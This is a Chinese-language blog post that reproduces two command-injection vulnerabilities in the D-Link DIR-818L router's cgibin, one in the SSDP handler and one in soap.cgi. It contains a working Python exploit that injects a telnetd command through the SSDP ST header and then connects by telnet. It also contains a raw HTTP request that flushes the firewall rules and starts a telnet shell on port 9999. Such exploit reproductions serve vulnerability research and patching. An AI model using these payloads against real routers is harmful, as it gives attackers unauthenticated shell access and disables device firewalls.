D-Link-DIR-818l漏洞复现

D-Link-DIR-818l漏洞复现

Berial Pwn

固件下载

https://www.dlinktw.com.tw/techsupport/ProductInfo.aspx?m=DIR-818LW

仿真模拟

firmAE梭了。

漏洞分析

  • 文件:cgibin
  • 漏洞1:ssdpcgi_main
  • 漏洞2:soapcgi_main

ssdpcgi_main

image-20250407011343949
image-20250407011343949

image-20250407011404900
image-20250407011404900

image-20250407011352851
image-20250407011352851

我们只要控制好v2,也就是HTTP_ST就可以进行命令拼接

这里需要了解UPnP协议栈中的SSDP协议,相关资料网上有很多,这里就不赘述了;

SSDP 基于 HTTPU(HTTP over UDP)协议工作,使用 UDP 协议在端口 1900 上发送和接收消息

image-20250407005941037
image-20250407005941037

构造payload

1
2
3
4
5
M-SEARCH * HTTP/1.1
HOST: ip:port
ST: urn:device:1;telnetd
MX: 2
MAN: "ssdp:discover"

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import sys
import os
import socket
from time import sleep
def config_payload(ip, port):
header = "M-SEARCH * HTTP/1.1\n"
header += "HOST:"+str(ip)+":"+str(port)+"\n"
header += "ST:urn:device:1;telnetd\n"
header += "MX:1\n"
header += 'MAN:"ssdp:discover"'+"\n\n"
return header
def send_conexion(ip, port, payload):
sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM,socket.IPPROTO_UDP)
sock.setsockopt(socket.IPPROTO_IP,socket.IP_MULTICAST_TTL,2)
sock.sendto(payload,(ip, port))
sock.close()
if __name__== "__main__":
ip = raw_input("Router IP: ")
port = 1900

headers = config_payload(ip, port)
send_conexion(ip, port, headers)
sleep(5)
os.system('telnet ' + str(ip))

image-20250407013543160
image-20250407013543160

执行下其他命令试试

1
touch Berial.txt

image-20250407013727412
image-20250407013727412

也是可以成功执行的。

soapcgi_main

image-20250407162759249
image-20250407162759249

我们还是找到了system可以执行拼接的命令,接着往上找控制的是哪个参数

image-20250407162946617
image-20250407162946617

其实就是控制我们soap.cgi?后面的东西,然后分析下流程看需要构造哪些东西,soap的资料网上不是很多;

1
2
3
4
5
6
7
POST /soap.cgi?service=berial;iptables -P INPUT ACCEPT;iptables -P FORWARD ACCEPT;iptables -P OUTPUT ACCEPT;iptables -t nat -P PREROUTING ACCEPT;iptables -t nat -P OUTPUT ACCEPT;iptables -t nat -P POSTROUTING ACCEPT;telnetd -p 9999;whatever-invalid-shell HTTP/1.1
Host: 192.168.100.1:49152
Accept-Encoding: identity
Content-Length: 16
SOAPAction: "berial#berial"
Content-Type: text/xml

image-20250407174252239
image-20250407174252239

image-20250407174319655
image-20250407174319655

  • 标题: D-Link-DIR-818l漏洞复现
  • 作者: Berial
  • 创建于 : 2025-04-03 13:31:35
  • 更新于 : 2025-04-07 17:43:55
  • 链接: https://berial.cn/posts/D-Link-DIR-818l漏洞复现.html
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论